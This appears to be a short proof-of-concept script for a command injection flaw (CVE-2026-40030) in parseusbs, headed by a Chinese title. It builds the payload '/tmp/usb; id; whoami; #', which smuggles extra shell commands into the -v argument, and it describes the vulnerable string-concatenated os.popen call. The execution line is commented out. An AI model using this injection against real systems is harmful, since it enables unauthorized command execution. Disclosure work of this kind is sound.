CVE-2026-40030 parseusbs OS命令注入漏洞

import subprocess # Proof of Concept for CVE-2026-40030 # Description: Exploits the unsanitized -v flag in parseusbs < 1.9 # The vulnerable application constructs a command like this: # command = "ls " + user_input # os.popen(command) # Malicious payload containing shell metacharacters # This payload attempts to execute 'id' and 'whoami' after the ls command payload = "/tmp/usb; id; whoami; #" print(f"[+] Simulating vulnerable execution with payload: {payload}") # In a real attack scenario, the user runs: # parseusbs -v "/tmp/usb; id; whoami; #" # This demonstrates the injection logic vulnerable_cmd = f"ls {payload}" print(f"[+] Executing command: {vulnerable_cmd}") # Note: Do not run this in production. This is for educational purposes only. # process = subprocess.Popen(vulnerable_cmd, shell=True)